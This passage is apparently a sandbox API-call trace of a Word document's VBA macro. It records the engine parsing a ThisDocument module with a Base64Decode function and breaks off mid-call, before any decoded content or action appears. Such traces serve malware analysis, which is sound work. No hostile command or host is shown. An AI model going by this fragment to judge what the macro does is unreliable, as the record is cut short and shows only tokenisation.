dwInfoType=0x4, lpSrcStr="\xab", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xac", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xad", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xae", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaf", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xba", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbb", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbc", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbd", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbe", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbf", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xca", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcb", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcc", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcd", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xce", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcf", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xda", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdb", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdc", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.132] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdd", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xde", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdf", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xea", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xeb", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xec", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xed", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xee", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xef", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfa", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfb", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfc", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfd", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfe", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xff", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.133] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.133] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0053.133] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0x6907620 [0053.133] IMalloc:Alloc (This=0x7feffc15380, cb=0x1a) returned 0x66d4900 [0053.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6907620, cbMultiByte=13, lpWideCharStr=0x66d4900, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0053.133] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.133] IMalloc:Free (This=0x7feffc15380, pv=0x66d4900) [0053.134] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.134] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0053.134] IMalloc:Alloc (This=0x7feffc15380, cb=0x15) returned 0x6907620 [0053.134] IMalloc:Alloc (This=0x7feffc15380, cb=0x2a) returned 0x663ea50 [0053.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6907620, cbMultiByte=21, lpWideCharStr=0x663ea50, cchWideChar=21 | out: lpWideCharStr="1Normal.ThisDocument") returned 21 [0053.134] IMalloc:Alloc (This=0x7feffc15380, cb=0x2a) returned 0x663ea90 [0053.135] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c620, cb=0x20) returned 0x66d4900 [0053.135] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c7a0, cb=0x28) returned 0x66d48d0 [0053.135] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.135] IMalloc:Free (This=0x7feffc15380, pv=0x663ea50) [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0053.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02b3a, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0053.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02b3a, cbMultiByte=12, lpWideCharStr=0x4362588, cchWideChar=12 | out: lpWideCharStr="Base64Decode") returned 12 [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.136] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x663ea50 [0053.136] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d30000 [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.137] IMalloc:Realloc (This=0x7feffc15380, pv=0x699acd0, cb=0x100) returned 0x69920e0 [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0053.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="over") returned 0x102781 [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="j") returned 0x101061 [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0053.161] IMalloc:Realloc (This=0x7feffc15380, pv=0x69920e0, cb=0x200) returned 0x690fbd0 [0053.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0053.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.161] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x6642f10 [0053.161] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d40000 [0053.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.162] atoi (_Str="1") returned 1 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.162] atoi (_Str="0") returned 0 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.162] atoi (_Str="1") returned 1 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.162] atoi (_Str="1") returned 1 [0053.162] IMalloc:Realloc (This=0x7feffc15380, pv=0x699ac40, cb=0x100) returned 0x69920e0 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kk") returned 0x105df7 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.162] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="mods" | out: _Dst="mods") returned 0x0 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0053.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0053.163] atoi (_Str="4") returned 4 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.163] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="length" | out: _Dst="length") returned 0x0 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.163] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.163] atoi (_Str="4") returned 4 [0053.163] atoi (_Str="3") returned 3 [0053.163] atoi (_Str="1") returned 1 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Switch") returned 0x107a36 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.163] atoi (_Str="0") returned 0 [0053.163] atoi (_Str="0") returned 0 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.163] atoi (_Str="2") returned 2 [0053.163] atoi (_Str="1") returned 1 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.163] atoi (_Str="3") returned 3 [0053.163] atoi (_Str="2") returned 2 [0053.163] IMalloc:Realloc (This=0x7feffc15380, pv=0x69920e0, cb=0x200) returned 0x6910200 [0053.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.164] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="i" | out: _Dst="i") returned 0x0 [0053.164] atoi (_Str="1") returned 1 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0053.164] atoi (_Str="4") returned 4 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.164] atoi (_Str="3") returned 3 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="j") returned 0x101061 [0053.164] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="j" | out: _Dst="j") returned 0x0 [0053.164] atoi (_Str="0") returned 0 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0053.164] atoi (_Str="3") returned 3 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.164] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="buf" | out: _Dst="buf") returned 0x0 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="j") returned 0x101061 [0053.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.164] atoi (_Str="1") returned 1 [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="j") returned 0x101061 [0053.165] atoi (_Str="1") returned 1 [0053.165] atoi (_Str="1") returned 1 [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.165] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.165] atoi (_Str="1") returned 1 [0053.165] atoi (_Str="4") returned 4 [0053.165] atoi (_Str="3") returned 3 [0053.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.165] atoi (_Str="0") returned 0 [0053.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, 